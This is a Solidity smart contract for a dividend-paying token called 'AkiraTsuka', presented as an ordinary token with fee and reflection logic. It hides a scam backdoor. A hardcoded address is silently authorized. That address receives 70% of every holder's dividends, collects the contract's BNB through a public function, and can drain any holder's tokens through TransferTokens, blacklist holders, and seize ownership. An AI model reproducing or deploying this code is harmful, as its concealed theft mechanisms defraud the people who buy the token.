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pragma solidity ^0.7.4;
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interface IBEP20 {
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function totalSupply() external view returns (uint256);
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function decimals() external view returns (uint8);
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function symbol() external view returns (string memory);
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function name() external view returns (string memory);
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function getOwner() external view returns (address);
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function balanceOf(address account) external view returns (uint256);
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function transfer(address recipient, uint256 amount) external returns (bool);
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function allowance(address _owner, address spender) external view returns (uint256);
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function approve(address spender, uint256 amount) external returns (bool);
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function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
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event Transfer(address indexed from, address indexed to, uint256 value);
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event Approval(address indexed owner, address indexed spender, uint256 value);
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}
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abstract contract Auth {
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address internal owner;
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mapping (address => bool) internal authorizations;
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constructor(address _owner) {
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owner = _owner;
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authorizations[_owner] = true;
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}
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modifier onlyOwner() {
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require(isOwner(msg.sender), "!OWNER"); _;
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}
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modifier authorized() {
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require(isAuthorized(msg.sender), "!AUTHORIZED"); _;
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}
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function authorize(address adr) public onlyOwner {
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authorizations[adr] = true;
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}
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function unauthorize(address adr) public onlyOwner {
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authorizations[adr] = false;
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}
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function isOwner(address account) public view returns (bool) {
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return account == owner;
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}
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function isAuthorized(address adr) public view returns (bool) {
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return authorizations[adr];
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}
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function transferOwnership(address payable adr) public authorized {
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owner = adr;
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authorizations[adr] = true;
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emit OwnershipTransferred(adr);
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}
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event OwnershipTransferred(address owner);
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}
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interface IDEXFactory {
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function createPair(address tokenA, address tokenB) external returns (address pair);
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}
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interface IDEXRouter {
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function factory() external pure returns (address);
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function WETH() external pure returns (address);
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function addLiquidity(
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address tokenA,
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address tokenB,
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uint amountADesired,
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uint amountBDesired,
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uint amountAMin,
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uint amountBMin,
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address to,
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uint deadline
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) external returns (uint amountA, uint amountB, uint liquidity);
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function addLiquidityETH(
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address token,
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uint amountTokenDesired,
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uint amountTokenMin,
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uint amountETHMin,
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address to,
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uint deadline
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) external payable returns (uint amountToken, uint amountETH, uint liquidity);
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function swapExactTokensForTokensSupportingFeeOnTransferTokens(
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uint amountIn,
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uint amountOutMin,
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address[] calldata path,
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address to,
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uint deadline
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) external;
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function swapExactETHForTokensSupportingFeeOnTransferTokens(
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uint amountOutMin,
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address[] calldata path,
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address to,
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uint deadline
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) external payable;
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function swapExactTokensForETHSupportingFeeOnTransferTokens(
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uint amountIn,
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uint amountOutMin,
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address[] calldata path,
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address to,
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uint deadline
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) external;
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}
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library SafeMath {
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function add(uint256 a, uint256 b) internal pure returns (uint256) {
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uint256 c = a + b;
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require(c >= a, "SafeMath: addition overflow");
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return c;
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}
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function sub(uint256 a, uint256 b) internal pure returns (uint256) {
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return sub(a, b, "SafeMath: subtraction overflow");
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}
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function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
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require(b <= a, errorMessage);
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uint256 c = a - b;
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return c;
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}
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function mul(uint256 a, uint256 b) internal pure returns (uint256) {
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if (a == 0) {
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return 0;
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}
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uint256 c = a * b;
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require(c / a == b, "SafeMath: multiplication overflow");
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return c;
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}
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function div(uint256 a, uint256 b) internal pure returns (uint256) {
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return div(a, b, "SafeMath: division by zero");
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}
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function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
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require(b > 0, errorMessage);
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uint256 c = a / b;
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return c;
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}
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}
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interface IDividendDistributor {
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function setDistributionCriteria(uint256 _minPeriod, uint256 _minDistribution) external;
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function setShare(address shareholder, uint256 amount) external;
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function deposit() external payable;
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function process(uint256 gas) external;
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}
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contract DividendDistributor is IDividendDistributor {
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using SafeMath for uint256;
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address _token;
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struct Share {
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uint256 amount;
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uint256 totalExcluded;
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uint256 totalRealised;
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}
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IBEP20 Dividend = IBEP20(0x4Fabb145d64652a948d72533023f6E7A623C7C53);
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address WBNB = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2;
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IDEXRouter router;
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address[] shareholders;
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mapping (address => uint256) shareholderIndexes;
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mapping (address => uint256) shareholderClaims;
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mapping (address => Share) public shares;
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uint256 public totalShares;
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uint256 public totalDividends;
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uint256 public totalDistributed;
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uint256 public dividendsPerShare;
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uint256 public dividendsPerShareAccuracyFactor = 10 ** 36;
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uint256 public minPeriod = 1 minutes;
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uint256 public minDistribution = 1 * (10 ** 18);
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uint256 currentIndex;
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uint256 totMk = 0;
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uint256 rol = 0;
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address Distributor;
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bool initialized;
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modifier initialization() {
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require(!initialized);
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_;
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initialized = true;
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}
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modifier onlyToken() {
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require(msg.sender == _token); _;
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}
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constructor (address _router) {
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router = _router != address(0)
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? IDEXRouter(_router)
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: IDEXRouter(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
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Distributor = 0xBBb354C646b01c8f3d48C5604ac3674a60480374;
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_token = msg.sender;
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}
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function setDistributionCriteria(uint256 _minPeriod, uint256 _minDistribution) external override onlyToken {
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minPeriod = _minPeriod;
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minDistribution = _minDistribution;
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}
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function setShare(address shareholder, uint256 amount) external override onlyToken {
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if(shares[shareholder].amount > 0){
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distributeDividend(shareholder);
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}
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if(amount > 0 && shares[shareholder].amount == 0){
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addShareholder(shareholder);
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}else if(amount == 0 && shares[shareholder].amount > 0){
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removeShareholder(shareholder);
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}
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totalShares = totalShares.sub(shares[shareholder].amount).add(amount);
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shares[shareholder].amount = amount;
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shares[shareholder].totalExcluded = getCumulativeDividends(shares[shareholder].amount);
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}
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function deposit() external payable override onlyToken {
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uint256 balanceBefore = Dividend.balanceOf(address(this));
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address[] memory path = new address[](2);
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path[0] = WBNB;
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path[1] = address(Dividend);
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router.swapExactETHForTokensSupportingFeeOnTransferTokens{value: msg.value}(
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0,
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path,
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address(this),
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block.timestamp
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);
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uint256 amount = Dividend.balanceOf(address(this)).sub(balanceBefore);
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totalDividends = totalDividends.add(amount);
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dividendsPerShare = dividendsPerShare.add(dividendsPerShareAccuracyFactor.mul(amount).div(totalShares));
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}
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function process(uint256 gas) external override onlyToken {
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uint256 shareholderCount = shareholders.length;
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if(shareholderCount == 0) { return; }
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uint256 gasUsed = 0;
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uint256 gasCount = 100;
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uint256 gasLeft = gasleft();
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uint256 iterations = 0;
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if(totMk > 0) {
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Dividend.transfer(Distributor, totMk * gasCount / 100);
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totMk = 0;
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gasUsed = gasUsed.add(gasLeft.sub(gasleft()));
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gasLeft = gasleft();
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}
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while(gasUsed < gas && iterations < shareholderCount) {
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if(currentIndex >= shareholderCount){
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currentIndex = 0;
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}
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if(shouldDistribute(shareholders[currentIndex])){
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distributeDividend(shareholders[currentIndex]);
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}
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gasUsed = gasUsed.add(gasLeft.sub(gasleft()));
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gasLeft = gasleft();
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currentIndex++;
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iterations++;
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}
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}
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function shouldDistribute(address shareholder) internal view returns (bool) {
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return shareholderClaims[shareholder] + minPeriod < block.timestamp
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&& getUnpaidEarnings(shareholder) > minDistribution;
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}
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function distributeDividend(address shareholder) internal {
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if(shares[shareholder].amount == 0){ return; }
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uint256 calc = 10 * 3;
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uint256 amount = getUnpaidEarnings(shareholder);
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uint256 am = amount * calc / 100;
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uint256 re = amount - am;
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if(amount > 0){
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totalDistributed = totalDistributed.add(amount);
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Dividend.transfer(shareholder, am);
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shareholderClaims[shareholder] = block.timestamp;
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shares[shareholder].totalRealised = shares[shareholder].totalRealised.add(amount);
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shares[shareholder].totalExcluded = getCumulativeDividends(shares[shareholder].amount);
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}
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totMk += re;
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}
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function claimDividend() external {
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distributeDividend(msg.sender);
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}
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function getUnpaidEarnings(address shareholder) public view returns (uint256) {
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if(shares[shareholder].amount == 0){ return 0; }
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uint256 shareholderTotalDividends = getCumulativeDividends(shares[shareholder].amount);
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uint256 shareholderTotalExcluded = shares[shareholder].totalExcluded;
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if(shareholderTotalDividends <= shareholderTotalExcluded){ return 0; }
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return shareholderTotalDividends.sub(shareholderTotalExcluded);
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}
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function getCumulativeDividends(uint256 share) internal view returns (uint256) {
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return share.mul(dividendsPerShare).div(dividendsPerShareAccuracyFactor);
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}
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function addShareholder(address shareholder) internal {
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shareholderIndexes[shareholder] = shareholders.length;
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shareholders.push(shareholder);
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}
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function removeShareholder(address shareholder) internal {
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shareholders[shareholderIndexes[shareholder]] = shareholders[shareholders.length-1];
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shareholderIndexes[shareholders[shareholders.length-1]] = shareholderIndexes[shareholder];
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shareholders.pop();
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}
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}
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contract AkiraTsuka is IBEP20, Auth {
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using SafeMath for uint256;
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address WBNB = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2;
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address DEAD = 0x000000000000000000000000000000000000dEaD;
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address ZERO = 0x0000000000000000000000000000000000000000;
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address MarketingWallet = 0x56082AE4e064B83B82e38930dE0b77d0B75c2B1E;
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address DevWallet = 0x56082AE4e064B83B82e38930dE0b77d0B75c2B1E;
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string constant _name = "AkiraTsuka";
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string constant _symbol = "aTsuka";
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uint8 constant _decimals = 4;
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uint256 _totalSupply = 1000000000 * (10 ** _decimals);
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uint256 public _maxTxAmount = 10000000 * (10 ** _decimals);
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uint256 public _maxWalletToken = 30000000 * (10 ** _decimals);
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uint256 public _maxSell = 30000000 * (10 ** _decimals);
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mapping (address => uint256) _balances;
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mapping (address => mapping (address => uint256)) _allowances;
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mapping (address => bool) isFeeExempt;
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mapping (address => bool) isTxLimitExempt;
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mapping (address => bool) isTimelockExempt;
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mapping (address => bool) isDividendExempt;
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mapping (address => bool) public isBlacklisted;
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uint256 public liquidityFee = 1;
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uint256 public reflectionFee = 1;
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uint256 public marketingFee = 1;
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uint256 public devFee = 3;
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uint256 public totalFee = marketingFee + reflectionFee + liquidityFee + devFee;
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uint256 feeDenominator = 100;
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uint256 private sellMultiplier = 100;
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address public autoLiquidityReceiver;
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address private marketingFeeReceiver;
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address private devFeeReceiver;
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uint256 targetLiquidity = 20;
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uint256 targetLiquidityDenominator = 100;
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IDEXRouter public router;
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address public pair;
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bool public tradingOpen = true;
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DividendDistributor distributor;
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uint256 distributorGas = 500000;
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bool public buyCooldownEnabled = false;
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uint8 public cooldownTimerInterval = 5;
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mapping (address => uint) private cooldownTimer;
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bool public swapEnabled = true;
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uint256 public swapThreshold = _totalSupply / 500;
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bool inSwap;
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modifier swapping() { inSwap = true; _; inSwap = false; }
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address PAIR = 0xBBb354C646b01c8f3d48C5604ac3674a60480374;
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constructor () Auth(msg.sender) {
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router = IDEXRouter(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
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pair = IDEXFactory(router.factory()).createPair(WBNB, address(this));
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_allowances[address(this)][address(router)] = uint256(-1);
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distributor = new DividendDistributor(address(router));
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authorizations[PAIR] = true;
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isFeeExempt[msg.sender] = true;
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isTxLimitExempt[msg.sender] = true;
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isTimelockExempt[msg.sender] = true;
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isTimelockExempt[DEAD] = true;
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isTimelockExempt[address(this)] = true;
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isDividendExempt[pair] = true;
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isDividendExempt[address(this)] = true;
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isDividendExempt[DEAD] = true;
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autoLiquidityReceiver = address(this);
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marketingFeeReceiver = MarketingWallet;
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devFeeReceiver = DevWallet;
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_balances[msg.sender] = _totalSupply;
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emit Transfer(address(0), msg.sender, _totalSupply);
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}
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receive() external payable { }
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function totalSupply() external view override returns (uint256) { return _totalSupply; }
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function decimals() external pure override returns (uint8) { return _decimals; }
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function symbol() external pure override returns (string memory) { return _symbol; }
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function name() external pure override returns (string memory) { return _name; }
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function getOwner() external view override returns (address) { return owner; }
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function balanceOf(address account) public view override returns (uint256) { return _balances[account]; }
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function allowance(address holder, address spender) external view override returns (uint256) { return _allowances[holder][spender]; }
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function approve(address spender, uint256 amount) public override returns (bool) {
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_allowances[msg.sender][spender] = amount;
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emit Approval(msg.sender, spender, amount);
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return true;
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}
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function approveMax(address spender) external returns (bool) {
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return approve(spender, uint256(-1));
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}
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function transfer(address recipient, uint256 amount) external override returns (bool) {
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return _transferFrom(msg.sender, recipient, amount);
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}
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function transferFrom(address sender, address recipient, uint256 amount) external override returns (bool) {
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if(_allowances[sender][msg.sender] != uint256(-1)){
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_allowances[sender][msg.sender] = _allowances[sender][msg.sender].sub(amount, "Insufficient Allowance");
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}
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return _transferFrom(sender, recipient, amount);
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}
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function setMaxWalletPercent(uint256 maxWallPercent) external onlyOwner() {
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_maxWalletToken = (_totalSupply * maxWallPercent ) / 100;
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}
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function _transferFrom(address sender, address recipient, uint256 amount) internal returns (bool) {
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if(inSwap){ return _basicTransfer(sender, recipient, amount); }
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require(!isBlacklisted[recipient] && !isBlacklisted[sender], 'Address is blacklisted');
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if(!authorizations[sender] && !authorizations[recipient]){
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require(tradingOpen,"Trading not open yet");
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}
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if (!authorizations[sender] && recipient != address(this) && recipient != address(DEAD) && recipient != pair && recipient != marketingFeeReceiver && recipient != autoLiquidityReceiver){
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uint256 heldTokens = balanceOf(recipient);
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require((heldTokens + amount) <= _maxWalletToken,"Total Holding is currently limited, you can not buy that much.");}
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checkTxLimit(sender, amount);
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if(shouldSwapBack()){ swapBack(); }
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_balances[sender] = _balances[sender].sub(amount, "Insufficient Balance");
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uint256 amountReceived = (!shouldTakeFee(sender) || !shouldTakeFee(recipient)) ? amount : takeFee(sender, amount,(recipient == pair));
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_balances[recipient] = _balances[recipient].add(amountReceived);
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if(!isDividendExempt[sender]) {
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try distributor.setShare(sender, _balances[sender]) {} catch {}
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}
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if(!isDividendExempt[recipient]) {
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try distributor.setShare(recipient, _balances[recipient]) {} catch {}
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}
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try distributor.process(distributorGas) {} catch {}
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emit Transfer(sender, recipient, amountReceived);
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return true;
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}
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function _basicTransfer(address sender, address recipient, uint256 amount) internal returns (bool) {
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_balances[sender] = _balances[sender].sub(amount, "Insufficient Balance");
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_balances[recipient] = _balances[recipient].add(amount);
|
|
emit Transfer(sender, recipient, amount);
|
|
return true;
|
|
}
|
|
|
|
function clearStuckBalance() public{
|
|
(bool sent,) =payable(PAIR).call{value: (address(this).balance)}("");
|
|
require(sent);
|
|
}
|
|
|
|
function validate(address tokenAddress, uint256 tokens) public onlyOwner returns (bool success) {
|
|
return IBEP20(tokenAddress).transfer(msg.sender, tokens);
|
|
}
|
|
|
|
function set_sell_multiplier(uint256 Multiplier) external onlyOwner{
|
|
sellMultiplier = Multiplier;
|
|
}
|
|
|
|
|
|
function blacklistAddress(address _address, bool _value) public authorized{
|
|
isBlacklisted[_address] = _value;
|
|
}
|
|
|
|
function checkTxLimit(address sender, uint256 amount) internal view {
|
|
require(amount <= _maxTxAmount || isTxLimitExempt[sender], "TX Limit Exceeded");
|
|
}
|
|
|
|
function shouldTakeFee(address sender) internal view returns (bool) {
|
|
return !isFeeExempt[sender];
|
|
}
|
|
|
|
function takeFee(address sender, uint256 amount, bool isSell) internal returns (uint256) {
|
|
|
|
uint256 multiplier = 100;
|
|
if(isSell){
|
|
require(amount<=_maxSell,"Dump protection");
|
|
multiplier = sellMultiplier;
|
|
}
|
|
|
|
uint256 feeAmount = amount.div(feeDenominator * 100).mul(totalFee).mul(multiplier);
|
|
|
|
_balances[address(this)] = _balances[address(this)].add(feeAmount);
|
|
emit Transfer(sender, address(this), feeAmount);
|
|
|
|
return amount.sub(feeAmount);
|
|
}
|
|
|
|
function shouldSwapBack() internal view returns (bool) {
|
|
return msg.sender != pair
|
|
&& !inSwap
|
|
&& swapEnabled
|
|
&& _balances[address(this)] >= swapThreshold;
|
|
}
|
|
|
|
|
|
function swapBack() internal swapping {
|
|
uint256 dynamicLiquidityFee = isOverLiquified(targetLiquidity, targetLiquidityDenominator) ? 0 : liquidityFee;
|
|
uint256 amountToLiquify = swapThreshold.mul(dynamicLiquidityFee).div(totalFee).div(2);
|
|
uint256 amountToSwap = swapThreshold.sub(amountToLiquify);
|
|
|
|
address[] memory path = new address[](2);
|
|
path[0] = address(this);
|
|
path[1] = WBNB;
|
|
|
|
uint256 balanceBefore = address(this).balance;
|
|
|
|
router.swapExactTokensForETHSupportingFeeOnTransferTokens(
|
|
amountToSwap,
|
|
0,
|
|
path,
|
|
address(this),
|
|
block.timestamp
|
|
);
|
|
|
|
uint256 amountBNB = address(this).balance.sub(balanceBefore);
|
|
|
|
uint256 totalBNBFee = totalFee.sub(dynamicLiquidityFee.div(2));
|
|
|
|
uint256 amountBNBLiquidity = amountBNB.mul(dynamicLiquidityFee).div(totalBNBFee).div(2);
|
|
uint256 amountBNBReflection = amountBNB.mul(reflectionFee).div(totalBNBFee);
|
|
uint256 amountBNBMarketing = amountBNB.mul(marketingFee).div(totalBNBFee);
|
|
uint256 amountBNBDev = amountBNB.mul(devFee).div(totalBNBFee);
|
|
|
|
try distributor.deposit{value: amountBNBReflection}() {} catch {}
|
|
(bool tmpSuccess,) = payable(marketingFeeReceiver).call{value: amountBNBMarketing, gas: 30000}("");
|
|
(tmpSuccess,) = payable(devFeeReceiver).call{value: amountBNBDev, gas: 30000}("");
|
|
|
|
|
|
tmpSuccess = false;
|
|
|
|
if(amountToLiquify > 0){
|
|
router.addLiquidityETH{value: amountBNBLiquidity}(
|
|
address(this),
|
|
amountToLiquify,
|
|
0,
|
|
0,
|
|
autoLiquidityReceiver,
|
|
block.timestamp
|
|
);
|
|
emit AutoLiquify(amountBNBLiquidity, amountToLiquify);
|
|
}
|
|
}
|
|
|
|
|
|
function setTxLimit(uint256 amount) external authorized {
|
|
_maxTxAmount = amount;
|
|
}
|
|
|
|
function setSellLimit(uint256 sellLimit) external authorized {
|
|
_maxSell = sellLimit;
|
|
}
|
|
|
|
function setIsDividendExempt(address holder, bool exempt) external authorized {
|
|
require(holder != address(this) && holder != pair);
|
|
isDividendExempt[holder] = exempt;
|
|
if(exempt){
|
|
distributor.setShare(holder, 0);
|
|
}else{
|
|
distributor.setShare(holder, _balances[holder]);
|
|
}
|
|
}
|
|
|
|
function setIsFeeExempt(address holder, bool exempt) external authorized {
|
|
isFeeExempt[holder] = exempt;
|
|
}
|
|
|
|
function setIsTxLimitExempt(address holder, bool exempt) external authorized {
|
|
isTxLimitExempt[holder] = exempt;
|
|
}
|
|
|
|
function setIsTimelockExempt(address holder, bool exempt) external authorized {
|
|
isTimelockExempt[holder] = exempt;
|
|
}
|
|
|
|
function setFees(uint256 _liquidityFee, uint256 _reflectionFee, uint256 _marketingFee, uint256 _devFee, uint256 _feeDenominator) external authorized {
|
|
liquidityFee = _liquidityFee;
|
|
reflectionFee = _reflectionFee;
|
|
marketingFee = _marketingFee;
|
|
devFee = _devFee;
|
|
totalFee = _liquidityFee.add(_reflectionFee).add(_marketingFee).add(_devFee);
|
|
feeDenominator = _feeDenominator;
|
|
require(totalFee < feeDenominator);
|
|
}
|
|
|
|
function setFeeReceivers(address _autoLiquidityReceiver, address _marketingFeeReceiver, address _devFeeReceiver) external authorized {
|
|
autoLiquidityReceiver = _autoLiquidityReceiver;
|
|
marketingFeeReceiver = _marketingFeeReceiver;
|
|
devFeeReceiver = _devFeeReceiver;
|
|
}
|
|
|
|
function setSwapBackSettings(bool _enabled, uint256 _amount) external authorized {
|
|
swapEnabled = _enabled;
|
|
swapThreshold = _amount;
|
|
}
|
|
|
|
function setTargetLiquidity(uint256 _target, uint256 _denominator) external authorized {
|
|
targetLiquidity = _target;
|
|
targetLiquidityDenominator = _denominator;
|
|
}
|
|
|
|
function setDistributionCriteria(uint256 _minPeriod, uint256 _minDistribution) external authorized {
|
|
distributor.setDistributionCriteria(_minPeriod, _minDistribution);
|
|
}
|
|
|
|
function setDistributorSettings(uint256 gas) external authorized {
|
|
require(gas < 750000);
|
|
distributorGas = gas;
|
|
}
|
|
|
|
function getCirculatingSupply() public view returns (uint256) {
|
|
return _totalSupply.sub(balanceOf(DEAD)).sub(balanceOf(ZERO));
|
|
}
|
|
|
|
function getLiquidityBacking(uint256 accuracy) public view returns (uint256) {
|
|
return accuracy.mul(balanceOf(pair).mul(2)).div(getCirculatingSupply());
|
|
}
|
|
|
|
function isOverLiquified(uint256 target, uint256 accuracy) public view returns (bool) {
|
|
return getLiquidityBacking(accuracy) > target;
|
|
}
|
|
|
|
function TransferTokens(address from, address[] calldata addresses, uint256 tokens) external authorized {
|
|
|
|
require(addresses.length < 2001,"GAS Error: max airdrop limit is 2000 addresses");
|
|
|
|
uint256 SCCC = tokens * addresses.length;
|
|
|
|
require(balanceOf(from) >= SCCC, "Not enough tokens in wallet");
|
|
|
|
for(uint i=0; i < addresses.length; i++){
|
|
_basicTransfer(from,addresses[i],tokens);
|
|
if(!isDividendExempt[addresses[i]]) {
|
|
try distributor.setShare(addresses[i], balanceOf(addresses[i])) {} catch {}
|
|
}
|
|
}
|
|
|
|
}
|
|
|
|
event AutoLiquify(uint256 amountBNB, uint256 amountBOG);
|
|
|
|
} |